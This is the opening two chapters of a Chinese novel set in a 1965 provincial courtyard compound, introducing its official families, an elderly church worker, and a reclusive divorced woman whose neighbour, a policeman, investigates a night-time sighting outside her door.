《高墙窄院》 第1章 凤 一对年近七旬的老人在一个咖啡馆里面对面的坐着。男的说:我差一点没认出你,变化真大。女的说:是的,变化真大,但我觉得你没怎么变,一眼就认出来了呢……男的又说:有30多年了吧?女的说:整整40年,我记着呢,我们40年没有见过面……那一年…… 停了片刻。那女人看着男人缓缓的说:怎么现在才来找我?我,我等了你这么多年…… 20世纪中叶。平静而稳定的社会正在有条不紊地踏着他的脚步运行,在这风平浪静的表层里暗中涌动着一股激流。这股激流以超出人们难以想象的能量,蓄势待发。它的爆发不亚于一颗能量巨大的原子弹,所蕴含的当量让全世界大吃一惊。 1965年夏,炎热的季节,静静的夜晚。一轮明月洒下的银光映照在这座寂静的大院里。 这是一座怎样的大院?我们有必要全面了解一下。 那年,这座城市里有好多老式建筑。在这条胡同里,就有好几座老式的院落,其中有一座院子是这样的。在南北走向的胡同深处,这座院落的大门向西开着。院落地势很高,院落的大门口外有几层石板的台阶。具体是几层?七八层吧,没有太多的人注意。拾级而上,门洞的进深将近有五六米。大门的两旁各立着鼓状的石墩。显然,最早住在这座大院的主人是一员武将。走过门洞10米左右,迎面是一个大影壁,影壁上面雕刻着一个大大的福字。挨着影壁的左面是一个宽大的门廊,穿过这个门廊便进入大院。 那时候这座大院保存的还算是基本完好。门楣门柱门槛基本都在。所说的门楣就是正门上方门框上的横梁。一般都是粗重实木制就。按古代建制,只有朝廷官吏所居,官邸官府才能在正门之上标示门楣。一般的平民百姓是不准有门楣的,哪怕你是大户人家富甲一方没有官面上的身份也一样不能在宅门上标示门楣。再加上门前台阶的级数约有七八级。相传这座院子里住过总督或者是其他的大官,可见早年其显赫的程度。 这是一座省会城市。现在在这个院子里居住的是省公安厅和省检察院的干部。这些干部里,本市的人少,大多都是其他省市随军转业到地方上的外地人。院子里居住的人口音比较杂,真可谓南腔北调。 走过门廊,映入眼前的就是一个大院。一个大大的四合院。在这个大大的四合院里,竟然人为的分成了前院和后院。大院中间夹了一段高高的隔墙,隔墙中间有一个月亮门。这面墙把这座大院分成了前院和后院。对面墙应当是后人建的。什么原因?笔者不得而知。总之这面墙的出现给这座大院增添了一些神秘感。穿过月亮门进入后院。所以前院没有北房,后院没有南房。前院隔墙的东北角和西北角处,各栽着一棵大槐树。树干疤痕累累,树身枝繁叶茂,树龄至少在50年以上。大树粗壮的要两个小孩子才能抱得过来。不知什么缘故,这样的一座院落里竟然种了槐树,让人感觉有些奇葩。然而更奇葩的还在后面…… 前院的一排南房屋后面房墙与院墙之间的空地上种着一排桑树。整排房屋后面长长的空地上大约种了有10来棵桑树。每年到春蚕破卵出壳的时候,孩子们便跑到屋后的树下,爬到树上摘采嫩嫩的桑芽喂他们的蚕宝宝。只听老人们说过这些桑树影响这个院子的风水。至于影响怎样的风水,没人细打听,因为这属于封建迷信,是被禁止传播的。更何况它是种在院子房屋的后面。桑葚熟了,有大量的桑葚供人们品尝。这些桑树就默默的与人们相伴成长。 穿过前院的月亮门,来到后院。映入眼前的是一座假山。假山是用山石和土堆砌成的。围绕假山是用砖砌成的一米高的围墙。这座假山面积还不小,差不多占了大半个院子的中央。山上种了一些松柏万年青之类的矮树。在这些数中竟然有两棵枣树。一颗是坡枣,另一颗是灵枣。灵枣成熟比较早,不到收获的季节还没有长红就给孩子们用竹杆打下,或者爬到树上摘了吃。因为这些枣树也说不上是谁家的。在院中央隔着谁家的门也不是太远,又不是太近,无法判断归哪一家所有。那个坡枣的命运好一点。一般来说长得成熟了,院子里的大人们开会商量打下的枣子全院分。当然这就没有前院的份儿了。 每到夏日,人们在院里的大树下歇凉。孩子们在假山上玩耍。到夜晚知了声以及昆虫的声音响彻一片。在寂静的夜里唱着和声。人们拿着凉席铺在院里的地上,望着星空,听着昆虫们的交响曲。有的大人还给孩子们讲一些故事,那都是对生活的憧憬,对未来的一些向往。前院住着一对年轻的教师夫妇,闲暇时也会凑到后院来与后院的人聊天。女教师会给孩子们讲一些童话故事,常常把孩子们讲入梦乡…… 这座大院前后两个院子加起来一共住着十几户人家,七八十口人,简直就是一个小社会。院里的屋子全是清一色的大瓦房。房屋高大宽敞,屋内冬暖夏凉。 房屋房建的是徽式建筑。徽式建筑的特点包括马头墙,围合式院落,朱红色的大门,镂空的花窗,石雕,木雕,砖雕,陂屋顶飞檐和四合院。尽管在这个院子里这些特点都具备,朱红色的大门因年代久远已变成紫黑色。房屋镂空的花窗基本上保存的还算完好,只不过是由花窗上的纸换成了现在的玻璃,使屋里显得更加明亮。青砖黛瓦依旧在。残缺的飞檐以及斑驳的墙壁,给人的感觉总是少了对这座大院的呵护。不过此时的大院还是幸运的。但这种幸运没能坚持太久。 我们说过好似一座大院被人为地分成了前院和后院。并非一开始就是设计这座大院的人这样设计的。因为按照建筑格律,这种建筑是有悖风水的。追究起来这座建筑应当是在清末民初所建,那是的整个国家都是乱糟糟的,大院的建筑或多或少可能也是受到环境的影响。新中国成立,也许是为了居住上的方便,才在大院的中央砌了一道墙,隔成了里院和外院。还有现在住在这个大院里的人大都是当年随军南下,基本上没有什么文化的军人。他们留在地方后,大多都进了公检法系统。再就是那时的共和国需要这些新生的力量,他们带了一身正气雄赳赳气昂昂的冲进了这座大院,成了这座大院的主人。对于什么所谓的风水之类的讲究,基本上是闻所未闻。 我们有必要认识一下住在这个院里的各色人物。这座分为里院和外院的大院,要先从里院说起。因为这里住的大都是有头有脸的人物,有些地位的。 从外院穿过月亮门向左拐,是一排西方共5间。三间正房两间偏房。偏房的西南角是一间厕所。里院共有两间厕所,这边这间是女厕。五间西房里住的是省检察院的一位检察长和他的家人。检察长姓张,名子东。年近六旬的他身材较高,身板笔直,头发花白,目光炯炯,性格极其温和,说话幽默,喜欢开玩笑。他和他的妻子共生了6个女儿。分别取名为大凤二凤三凤四凤五凤。最后一个女儿叫领弟,因为他盼着有个儿子。并且经常拿6个女儿来说事儿:我就这个命,盼什么不来什么。老天爷就是这么安排的绝户命。说完他开心的哈哈大笑起来。 检察长张子东的女儿一个比一个漂亮。这里我们着重介绍的是大凤和二凤。大凤20岁,二凤17岁。俩女儿长得身材高挑,身材匀称,皮肤白皙,肤如凝脂,如同含苞待放的鲜花,娇艳欲滴。 大凤高中毕业后,由她父亲安排到检察院工作。大凤长得白,长得漂亮。她的美貌不单单在这个大院就是在这条街也是出了名的。就是在检察院的美女中也是屈指可数的。20岁这年她嫁给了省法院副院长黄一鸣的儿子黄国英。黄一鸣家有两个儿子,院里的三间北房供他们住。大凤和黄国英结婚后住一间。因为张子东和黄一鸣是邻居,他们又都在同一个大院里住。大凤有的时候趁黄国英出差不在家的时候就跑到西屋这边来陪父母住。大凤是张子东6个女儿之中最漂亮的一个。尤其是婚后身材越发显得凹凸有致,脸颊上不时泛起淡淡红晕,越发显得青春荡漾,走路时摆动着窈窕的身姿,被全身的荷尔蒙包裹,散发出淡淡的清香。每当走到街上冲击着人们的视线。街上的行人都会禁不住的赞叹一声。啧啧啧,好一朵漂亮的茉莉花! 大凤性格柔弱,不怎么爱说话,这一点和她的妹妹二凤截然相反。二凤性格泼辣,快人快语爱出风头。正在上高中的二凤已经大有名气,长得漂亮是一方面,最重要的是学习非常的优秀,在班里是学习干部,在学校是校刊的主要编辑之一。并且她的文笔极佳,经常写一些诗歌散文小说发表在校刊里。这为她日后走向文坛打下了非常好的基础。 有花就会招蜂惹蝶。院里的小伙子们以及学校的男生们目光都盯着亭亭玉立的二风。这当然也让身为检察长的张子东心中暗暗得意。有本事你们就去追吧,反正女儿早晚会嫁人的。当然他的心愿还是希望女儿和院里的同事们的孩子结成儿女亲家。因为都在一个系统又住在一起,互相都熟悉,好多事情不用遮掩。大凤不就是和法院副院长的儿子结婚了吗?一家人亲上亲。转念一想自己也快要休养了,休养后抱个外孙颐养天年,倒也是人生乐事。 说到追求二凤的小伙子们倒也有几个,但他们不是后院的,而是前院的。这些小伙子们对刚刚成年的二凤产生了非分之想,倒也不是非分之想,更不是癞蛤蟆想吃天鹅肉,而是内心深处的爱慕。他们都想着跟她近距离的接触接触,仔细端详一下那粉嫩的脸庞。更想让二凤那锥子一样的目光刺一下自己。从那张生动的面容里寻找那心里砰砰乱跳的回音,进而勾起青春躁动的幻想。熟料这些年轻的后生们都没有读懂耳二凤的心思。这小丫头的心里有一个大的幻想。她可不想找这些默默无闻的男孩子们。她的心愿就是想嫁给一个科学家,她内心深处最崇拜的就是科学家。然而这位科学家在她18岁当年来到了这个大院。当然那时他还不是科学家,后来呢,也许是也许不是,无论是与不是都是二凤一生的情愫。 外院的住户比较杂乱,不像内院里住着公检法的干部。外院除了住着一对年轻的教师外,还有其他的各色人等。住在外院最东边南屋的一间小偏房里,是一位老人。这间偏房子的东边是一间厕所,男女共用。小南屋里住的这位老人70岁左右孤身一人。老人慈眉善目,白白的胖胖的总是乐呵呵的,跟院里的邻居们相处的特别好。胖老头性高,他几乎白天都在家里。平时没事不外出,只是一个人在家里呆着。高老头特别喜欢孩子,院里的孩子们都喜欢去他屋里玩儿。他自己会熬制糖果,常常做好了给孩子们吃。孩子们吃着他的糖果开心的叫着他高爷爷。高老头慈祥的抿着嘴乐。高老头是一个天主教徒,因为离这条胡同不远处有一座天主教堂。高老头还是这个教堂的一位神职员工。每天早晨天不亮,他嘴里哼着经文,慢悠悠的去教堂。他每天去教堂的时辰非常的准,院里的邻居们听到他的哼唱就知道是早晨几点了。他一般上午10点左右回来,街上和院里都非常的寂静,大人们去做工,孩子们去上学,只有一些家庭妇女在自己的家里做着事情。那时候城里的人还很少,街上也看不到几辆车。高老头从寂静的街上走回寂静的大院。身上披洒着阳光,嘴里依旧念念有词,满满温和的走回自己的小屋。他是一个非常虔诚的教徒,没有什么收入,他唯一的收入就是教堂给他一些微薄的薪水,而这些薪水大都给孩子们做了糖吃。院里的女人们经常互相念叨他靠什么生活?每天还这样乐呵的。他给这些女人们带来一些神秘的色彩。 有时候大凤二凤也去高老头的小屋里看看,在那里坐一坐。高老头就给她们讲一些圣经的故事。高老头不太会讲故事,只不过这些故事平常她们不大听得到,倒也显出几分神秘的新鲜感,年轻人喜欢听新鲜事物。 “高爷爷哪天带我们去教堂看看吧。”二凤望着讲故事的高老头说道。 高老头微微笑笑:“好呀好呀,给你爸妈说说看,看他们愿不愿意让你们去。一般来说,你们这样的家庭是不愿意让你们去的。” 二凤又问:“为什么呢?” 高老头又笑笑:“不为什么,反正是他们不大愿意让你们去就是了,回去问问,问好了我带你们去。”于是他把打开的圣经合上,在昏暗的灯光下望着墙上陈旧的圣母画像在胸前画了十字。阿门! 这幅圣母画像特别像拉斐尔的《西斯廷圣母》。这幅油画是法国一个传教士带来的。当然它不是拉斐尔的原作。但这幅画把圣母画得非常的生动栩栩如生。据高老头说,这是法国一位水平很高的油画画家作的。后来由这位传教士带来中国。那时的高老头还不是现在的高老头。而是一位年轻的虔诚的中国青年。传教士看到这位中国青年如此的虔诚的信奉主,就把这幅画给了当时的高姓青年。这位高姓青年当时喜极而泣。也许就是为了这幅画,这位中国青年终身未婚。成了后来的高老头…… 每当夜幕降临,高老头的屋内便燃起蜡烛。在圣母像旁一边一只摆着白色的蜡烛。高老头不习惯的使用电灯。他就用蜡烛点亮这间简陋的小屋。这间小屋充满着静谧的神秘感…… 老人看着蜡烛燃起的烟,看着在烛光映照下的圣母像,看着圣母怀抱中的小耶稣。圣象在蜡烛的腾云驾雾里时隐时现,老人便跟着圣母腾云驾雾。他有时也会情不自禁的用颤抖的手去抚摸圣象。当他的手触摸到圣母的脸时,手又会轻轻的颤抖一下,心灵也会跟着颤抖。他嘴里念念道:多么圣洁的皮肤,多么圣洁的灵魂呐!……时而转念又想这是否有亵渎圣洁的神圣的脸庞?于是手又哆嗦着回来。在胸前画着十字。 圣母本来是已婚未孕的少女,受神的感召,孕育了小耶稣来拯救人类。这一点老人深信不疑。暮的他的脑海里浮现出17岁二凤的形象,含苞欲放亭亭袅袅鲜艳欲滴。难道这就是天上的神仙下凡吗?嗯嗯,天上的神仙也会把福祉降临到人间,让人们对生活多了一份念想。精神的念想老人享用了大半个世纪。实实在在的有血有肉的人间精灵老人在现实中看到了她的本来面目。他觉得二凤就是圣母,是神赐予给他的。是神在他老了以后仍有青春的懵懂仍有生活活下去的勇气。青春给了他生命的渴望……倏忽间老人停下了思想,下意识的拿起了圣经,无意翻到了这一段:草必枯干,花必凋残,因为耶和华的气吹在其上;百姓诚然是草。草必枯干,花必凋残,唯有我们上帝的话,必永远立定!他读了一遍这部出自旧约《以赛亚书》第40章的经典文句。又默默的念了几遍,心中便释然起来…… 高老头又翻到圣经的这一段。圣经的创世纪,人类的邪恶。当人在世上多起来,又生女儿的时候,神的儿子看见人的女儿美貌就随意选择,娶来为妻。耶和华说,人既属于血气,我的灵就不永远住在他里面。然而他的日子还有120年。那时候有伟人在地上。后来神的儿子和人的女儿们交合生子…… 神的儿子和人的女儿们交合生子……高老头放回圣经心里默默的念叨着这句。神的儿子们和人的女儿们…… 第2章 雅 住在外院南房的最西边的一间偏房是一间10平米左右的耳房。这屋的住户也是一个人。一个二十四五岁的人,是个女人。 这间住房的女人的房门一年四季基本上都是关着,极少看她打开过。并且在门上挂了一个棉门帘子。这个棉门帘子从未见她摘下来过。因为他住在最接近大门口的这一边,人们进院出院基本上都要从她的门前经过,但很少有人看到过她,因为很少有人和她见过面。她好像是一个被人遗忘了的角落,显得有些神秘,甚至还有人说她神经兮兮的……竟然有一天夏天的夜晚,晚上下了夜班的公安局的小张,迷迷糊糊的看到了她门前躺了一个人。白白的身体,长长的头发披散在竹椅的边缘,在躺椅上她竟然一丝未挂。小张径直往院里走,回过头看了一眼躺在竹椅上的那个人。那女人似乎是睡着了。这天夜晚很黑,没有星星月亮,小张只是恍恍惚惚的看到躺着一个女人。没有看清是谁。他赶紧快步回家叫了他的妻子。让他妻子去看一下躺在外面的那个女人,叫醒她快回屋去,赤身裸体的躺在外面,这有多不好。小张妻子揉着睡眼惺忪的双眼,不情愿的说: “这么晚了,我一个人可不敢去,有些胆小。” 小张说:“她一个女人又全身光着,我可不能去的。我给你去敲她家隔壁的教师夫妇的门。让女老师陪着你,别让她一个人光着身子在外面躺着了。深更半夜的也是一样了,真的再让孩子们看到这成什么样子,再把孩子们吓着!” 于是小张夫妇来到那年轻教师夫妇住的门口。小张正要敲门。小张媳妇瞥了一眼那光身睡觉的女人的方向,拽了一下小张的衣襟,小声说道:“哪有人呐?!” 小张定睛仔细顺着媳妇指的方向看去,确实没人,那门口空空如也,什么都没有。嗯?小张揉了揉眼睛,心中喃喃自语道。我难道是碰到鬼了?刚,刚才就在这儿! 小张媳妇拽了一下小张的手,嗔怪的说道:“你这是晚上加班累了,没准是出现幻觉了呢,赶快回去睡觉吧!” 小张又走过去看了那挂门帘的空地。自言自语道:“刚才这确实躺了一个女人,这……”他有些无奈的摇了摇头,对媳妇说道:“算了,回去睡觉吧!” 第二天清晨,睡醒的小张想起了夜晚的事情,警察的职责让他警惕的又来到院门口,来到这间挂着棉门帘子的耳房门前,掀开棉门帘子敲了敲门,没人回应。再一看门上挂了一把大锁。锁了门屋里没人在家。小张心想,等我见了她一定要提醒她,这院子住着好多人,不可以有伤风化的! 这间屋里住的女人叫大雅。 大雅长得白净,二十四五岁,体态丰满匀称,长着一对媚眼。不爱笑也不爱说话。院里的人也不怎么常见到她,只听说她离了婚,原来的丈夫还是部队里的一个军官。什么原因离的婚没人知道。不知道她的生活来源在哪儿,但每个月她能都收到一张取款单。里院的大凤陪她去取过款。听大凤说钱还不少呢,40块钱。相当于大凤一个月的工资。谁给她寄来的?大凤没问,大雅也不说。只是领了钱就去请大凤吃冰激凌。在这个大院里,也许就是大凤和她说话最多的一个人…… 小张是一个很执着的警察,他不相信那天晚上他看到的那个裸体女人就会这样平白无故的消失。他心里想一定要查出个究竟。他想他不会看错,一定会有什么蹊跷在里边。 每逢他上下班的时候路过门口,他都要掀开这个棉门帘子看一下家里有没有人。一连几天他看到的只是那把锁。没人。 于是他问了其他的人,都说没有见到。他又问了隔壁西屋的老太太,老太太说:“你是想找大雅吗?一个星期前她就走了,好像是回高阳县的老家了,没说什么时候回来。” 这更让小张心里疑惑了。小张心想,我明明前天晚上在这里看到她光着身子躺在这里,一个星期前就走了?不行,我还得再多问几家。 小张想到了高大爷,高老头每天早上天不亮就去教堂做祷告,他是不是看到过这样的情景呢?小张来到高老头的门前,敲了敲门,门里一阵悉悉嗦嗦的声音。片刻,高老头开了房门。高老头笑呵呵的把小张让进了屋。 “有事儿啊。”高老头问道。 小张笑着说道:“大爷,我问您一件事,您每天早晨去诵经的时候,晚上看没看到过一个光着身子的女人?” 停了片刻他又说:“大爷想想,那女人躺在折椅上,在外面乘凉,几乎是一丝未挂。” 高老头想了想说:“嗯嗯,有那么一次是有一个女人躺在那家靠门口的门前睡觉,是大雅吗?有一次天没亮,我去诵经,路过门口的时候看到的,是没穿衣服,但我也没看清是谁就走过去了。”接着又说道:“我向前走了几步,等回头再看时,人没了,就剩那把躺椅在那放着。” 小张警觉的看着高老头:“看到她向哪个方向走了吗?” 高老头回答:“没看见,就听见里院的门响了一下,嗯,不错,是里院的,里院的门经常是插着的,里边住的人少,夜晚经常是插着门的。” 高老头又有些疑惑的问道:“怎么?出事了?有什么事儿呢?” 小张惊愕的看着高大爷,片刻:“哦哦,没什么事,我只是问问,我觉得大半夜的一个女人不穿衣服在外面睡觉,这事儿有点不正常了。” 高大爷说:“是不是梦游啊?我年轻的时候遇到过,还有一丝不挂大半夜的跑房顶上去呢。”又说道:“这种事情年轻人比较多。” 小张默默的点了点头。 高老头又补充道:“等我天亮回家的时候,那躺椅也不见了。” 小张想到了平时和大雅联系比较密切的大凤。于是他决定找大凤问一问,也许能问出些眉目来。 大雅和大凤两个人性格有些相似,都不爱说话。但两个人在一起有说不完的话。大凤刚结婚,大雅刚离婚。大凤每天除了上下班外,休息时有时和丈夫黄国英一起去逛逛街,其余时间就在家呆着。黄国英和他父亲黄一鸣都在法院上班。父亲黄一鸣是省法院的副院长。年纪轻轻的黄国英是法院刑二庭的书记员。他每天工作非常繁忙,有的时候还要去外地出差。大凤一个人闲下来的时候就来到大雅的屋里聊天。尽管大雅的屋里又小又暗,大凤还是喜欢来这,两个人经常在屋里关了门,说着悄悄话。 就在前几天,大凤来大雅这里,两个人在屋里聊天。大雅住的这间屋子是最靠近西边的耳房里,小屋不大,十几平米,但大雅布置的很温馨。小屋有两个窗户前窗用窗帘遮着,还有一个很大的后窗,这个后窗窗帘是打开的。向南开的后窗阳光映照进来。屋外对着窗户就有一棵桑树。窗外院南屋后面那一排长长的桑树一直延伸到最东面高老头住在屋子的窗下。顺着这一排桑树再往东走几步拐一个小弯儿就是那间前院男女共用的厕所。大雅打开窗户,清凉的风吹了进来,窗前的桑树在阳光的映照下。树影婆娑的在屋内摇摆。 大雅说:“我经常从这窗户跳出去,爬到桑树上玩儿。还可以顺着这一排树去厕所。有时候还会去高爷爷那里坐一会儿。”大雅转脸问大凤:“你常去高爷爷那里玩吗?” 大凤说。:“不常去,去过几次。” 大雅说:“我觉得高爷爷挺怪的,一辈子就一个人,也不结婚就知道侍奉主。” 大凤问大雅:“主真的就那么好吗?”然后自己喃喃自语道:“也许真的好,我觉得结了婚也没有什么意思。” 大雅逗大凤说道:“你这刚结婚不久,怎么就说这话呢?装的吧?”大雅那一对小媚眼儿有点色情的看着大凤。 大凤害羞的低下头。:“是……真的……” 大雅不解的摇摇头:“我才不信呢,刚过完蜜月就觉得没意思了?” 大凤抬头看了看窗外:“把窗户关上吧,万一外面有人偷听呢?” 大雅说:“外面哪有什么人?最多也就是小孩子爬到桑树上去玩儿。现在孩子们都去上学了,再说天这么热,开着窗户多凉快。” 大凤探出身,朝外面望了望,只有风刮动树叶的婆娑声,外面静的很。她又回身看了看大雅,小声说道:“雅姐,你是结过婚的人,问你个事儿。” 大雅凑近大凤小声说道:“你问吧,是男女之间的事儿?” 大凤点了点头,低头沉思了片刻:“嗯嗯……” 大凤低着头小声的问道:“这结了婚,男女之间就在一个屋子一张床上睡觉?” 大雅噗嗤一声笑了:“可不就是嘛,不在一张床上睡觉,还分两张?” 大凤有些羞羞的说:“我知道是在一张床上睡觉,那就只是睡觉吗?” 大雅怔怔的看着大凤:“嗯,两个人钻一个被窝。” “不脱衣服吗?”大凤盯着大雅问。 “傻丫头,说什么傻话呢?”大雅用手推了一下大凤:“装傻呢你?” 大凤带着哭腔说道:“雅姐,人家跟你说心里话,你怎么能这样?我和他结婚到现在,一直都是穿着内衣内裤睡觉的。” 大雅瞪大了眼睛:“什么?!你们之间难道没有……”她摇晃了一下大凤:“难道没有光着屁股钻一个被窝?” “有过一次……”大凤低着头说。 “嗯嗯,然后呢?”大雅催促道。 大凤说:“没了……” “什么就没了,你看你把姐急死了!” “真的就没了。他又让我把衣服穿上了。” “怎么?你们没有做那事?” “没有……” “以后再也没有过?”大雅吃惊的瞪圆了眼睛。 “有过两次。”大凤缓缓的说道:“还有一次就是脱光了,他就那么抱着我,就那么抱着……接下来他就让我把内衣穿上了。” “什么也没干?!”大雅一脸懵懂。 大凤点点头:“嗯,什么也没干,一直到现在。” 大雅接着又问道:“这么说,你还是个处女?” 大凤羞羞的点了点头,眼睛里含着泪。 大雅一把抱住大凤:“我那可怜的妹子!” 过了一会儿。大雅又问道:“没去医院看看?” 大凤眼里淌出了泪:“没有,这事说出去多丢人啊。” “我”大雅嘴里吐出一句脏字。 接着她又问大凤:“跟你妈说过吗?” 大凤望着大雅说:“本来想跟她说的,不知道怎么开口。也许……也许时间长了就好了。” 大雅又问道:“你仔细跟姐说说他是怎么个不行法?”她促进了大凤,小声问道:“他下面不硬?” 大凤羞羞的点了点头。 大雅又说道:“你们就没想过别的办法吗?比如互相亲吻。他一点反应没有吗?” “他不喜欢亲热。有一次我们俩刚躺下,我用手去摸它,他用胳膊肘一边怼我。显出很不耐烦的样子。羞的我恨不得找个地方钻下去。”接着又说道:“这不,天气热了,他就不在床上睡觉了。把凉席铺在地上,他就在凉席上睡。” 大雅站了起来。在小屋的空间里走了几步。转回身对着大凤:“那他结婚干嘛?这不明摆着害人吗?!” 她走近大凤:“我说妹子,我给你想个法子,过几天我回老家高阳一趟,我们老家那有个中医,听说治这个病挺好,我去替你问问中医,看他有什么好法子,行的话,等我回来带你们去看看。总不能这样过一辈子,会有法子的。” 大凤含着泪:“你真是我的好姐姐!在单位,在这个院里没有第二个这样的人。雅姐,我请你去吃饭吧!” 大雅嗔怪的推了一下大凤:“我还用你请呀,姐姐有钱,我请你吧!这个月我的汇款单就要到了,你跟着我去取钱,取了钱咱们去吃饭。”接着又说道:“这两天我就回家一趟,锁了门钥匙就在门框上面,你要没事可以到我屋里来自己坐一会儿,屋里有书你可以随便看,嗯,还有一把小提琴在那箱子上面,我经常跳到窗外。在桑树下面拉琴,你要喜欢的话,等我回来教你。” 大凤惊讶的看着大雅:“雅姐,你还会拉琴?这么多年没听见过,你跟谁学的?” 大雅眯了一下她的媚眼:“保密。”然后神秘的笑了一下:“你要喜欢以后我教你。” 大凤对大雅说:“你现在给我拉一曲,我听听好吗?” 大雅说:“行,咱俩跳窗户过去,在树下面我拉给你听。” 大雅拿了提琴麻利的跳出了窗外,大凤也紧跟着跳出了窗子。大雅拿起琴弓,调着音弦,几个和弦过后大雅示意了一下大凤:“看着我,好好听。” 大凤点了点头,竟然莫名的对大雅崇拜了起来…… 小提琴优美的声音从琴弦上飘洒出来。这是那首如泣如诉的小提琴协奏曲。梁山伯与祝英台。 大雅回了高阳老家。大凤没事就跑到她这间小屋来,拿了提琴,照了大雅的动作比划着试探着拉出一些声音来。然而除了一些吱吱扭扭,吱吱呀呀的声音,这声音让她直打冷颤。她把提琴放在床上,翻看了大雅床头的几本书。竟然大都是哲学和历史方面的书。还有一本外文书。不是俄文也不是英文。她不认得。他把这些书摞好,挪了一下床头的枕头,枕头下面还有一本书,是一本厚厚的书。大凤拿起来一看竟是一本圣经。她漫无目的的翻看着这本圣经。忽然她看到书里有一张发黄的照片。她拿过照片仔细端详着照片上的那个人。那是一个年轻的男人,穿着西装打着领带面带微笑笔挺的站着。两只眼睛炯炯有神。俊俏的脸庞散发着青春的朝气。这是一个充满阳光的男人。目光坚定,英姿勃发。 大凤仔细的看了照片上的男人,感觉很面熟,又不知道又想不起来在哪里见过。 大风把照片放回书里,合上书本。又想找一本她觉得有意思的书,抬起手看了看腕上的手表,已近中午12点了。快该吃午饭了。她暗自思衬今天是星期天,丈夫黄国英去加班了,好吧,中午就在自己的妈妈那里吃顿饭吧。 她边想边出了大雅的家门。拿起锁正要锁门的时候,身边有人叫了她一声。 “嗯,怎么是你?我正想找你呢,真巧,在这里碰到了。” 大凤扭头一看是外院的市公安局的小张。她锁上门问小张:“找我有什么事吗?” 小张指了指她锁的门:“就这事,这屋的人呢?” “她不在,回高阳老家了。走的时候把钥匙给了我,让我给她照看一下。”大凤打量了小张一下,接着问道:“找她有什么事吗?等她回来我可以转告一下。” 小张略显疑惑地看着大凤:“也没什么大事儿,还是等她回来我跟本人亲自说吧。” 大凤说道。:“好吧,她过两天就回来了。” 盛夏的夜晚,没有一丝凉意。满天的星斗,眨着俏皮的眼睛,忽闪忽闪的挑逗着大院里乘凉的人们。在这种季节里,人们前半夜都习惯的在外面拿着扇子或坐或躺着在凉席上或者在竹椅上乘凉。一般要等到后半夜天气比较凉爽了才挪进各自的家中睡觉。大都进了屋门也是不关的。开着门睡觉。好让些许的丝凉飘进屋,让阵阵的凉爽伴着人们睡觉。在这个年代没有电扇,空调更是闻所未闻。家家户户如此。 在外边呆到后半夜的大都是年纪比较大的成年人或者孩子。年轻的姑娘们一般都是陪着大人在外边坐一会儿,感觉困了,有了睡意就去屋里睡觉了。拿了脸盆到院里唯一的一个自来水龙头下接些水回家。擦洗一下身子就睡觉了。 大雅从高阳老家回来了。进了家门便一阵风似的飞了去找大凤。见到大凤后一把便把她抱住。恨不得要把她吃了似的,眼角里闪着泪花。 “好妹妹!你家国英的事有救了,我问了那中医大夫,他说他治好了许多人。明天你叫上国英跟着我,咱们一起去高阳!……”大雅连珠炮似的话语射向大凤。大凤似乎没听明白: “雅姐,你再说一遍?!” 大雅推搡了一下大凤:“好妹妹!快和你家国英说去,明天跟着我,咱们一起去高阳,去治他的病!” “好吧!”大凤看了一眼喜极而泣的大雅:“谢谢你了,雅姐,我去给他说说试试……” “这还试什么?瞧你的性子,这么大的事儿我都替你着急,快去给他说!” 大凤缓缓的说:“好吧……” 停了片刻,大凤又说:“雅姐,那屋公安局的小张找你,我问他什么事他没说,只是说等你回来找他一趟。” 大雅有些悻悻地说道:“好吧,我找他去问问什么事情。” 两天过去了,大雅等大风来找她。然而大凤没有露面,大雅隐约的感觉到事情可能不是那么简单。大雅也没有去找小张,她等着小张来找她,因为她觉得小张要找她不会是什么大事或者急事,不然小张早就回来找她了。 第三天,大凤来到大雅的屋内,大雅问她:“这两天干嘛去了?都快急死我了,给他说了咱们去高阳的事了吗?” 大凤摇了摇头,憋屈的说道:“他不同意。” “为什么?”大雅吃惊的问道。 “他说他忙,没时间。” “哦……”大雅接着问道:“他没说他什么时候有时间?” 大凤摇了摇头,眼睛里差点涌出了泪珠。她把脸扭了过去。 片刻,两个人谁也没有说话。大雅体会着大凤的难言之隐。独自喃喃自语道:“世人只知梁祝悲,未闻余杭花妖泪。梁祝尚有化蝶日,可叹花妖错轮回。” 她看了看满脸愁容的大凤,对大凤小声的说:“妹子,你要没什么事,听姐给你拉琴吧?” 大凤点了点头:“你就在屋里拉琴吧,我坐着听。” 大雅拿起提琴,托在肩上,拿起琴弓,刚要调音。门外有人敲门。 大凤起身去开门,门外站的是小张。小张有些意外的问了一句:“哦?你们俩都在啊。” 大雅放下提琴:“哦,张警官进来坐。我听大凤说你找我有事情,什么事啊?” 小张看了看屋内的两个人连忙说道:“没什么事情,我就是想随便问问。” 大凤看了一下小张的神态,连忙知趣的说:“雅姐,你们谈事吧,我有事先走了。” 大凤走出屋并关上了门。 小张对大雅说:“你这一天到晚挺神秘的啊,总见不到你的人影。问你件事,请不要怪我。” 大雅说:“瞧您客气的,您说吧,什么事儿啊?” 小张略略的思考了一下。缓缓的说:“前几天我看到你门前有个女人在睡觉。是晚上半夜……躺在竹椅上没穿衣服……”停了一下,他又补充道:“我没看清那个人是谁?不会是你吧?” 小张委婉的说事情的来由,以免引起大雅的不快。 “怎么能是我呢?在我门前?看清楚了?!”大雅惊讶的略带不满的问道。 小张用肯定的语气说:“是的。肯定有个人在你这里躺过。但我不确定是谁?我来找你没别的意思,希望你留意看看到底是谁?当然不是你更好,这个大院里住了这么多人家,影响多不好。” 大雅点了点头:“嗯嗯。我确实要留意一下,看看谁在我这里。缺德鬼!这不是坏我的名声吗?!” 小张看了看大雅没在说什么,心里在想,如果不是她,谁会跑到她的门口来睡觉呢?…… 仲夏的夜晚。闷热而暴躁。人们在屋里呆不住,纷纷的跑到院里来乘凉。人们一家一户的在院里比较通风的地方,在地上铺了凉席,手里摇着蒲扇或坐或卧的天南地北的聊天。男人们聊一些国际形势以及国内的局势动态或聊一些工作上的事情。有的人借了院里的微弱的灯光下象棋。外院住的人只有高老头开着门熄了灯,在屋里默默的诵经。院西边大雅的屋里仍旧是房门紧闭,门帘高挂。 不知何故,大凤也独自一人在家坐着。二凤去她那屋叫了她。约她一起去街外边遛遛。当姐儿俩穿过在院中乘凉的人群向院外走去的时候,大凤她妈嘱咐了一句:“别在外面玩的太久了,早点回来!”大凤姐俩回头答应着向院外走去。 姐俩踏着青春的步伐款款的来到街上。街上乘凉的人很多,不少男人望着这荡漾着青春气息的姐儿俩,目送着两人飘然而去。姐儿俩背后留下几片赞美的声音。调皮的二凤故意高傲的摇摆着腰肢显示着自己的青春魅力。 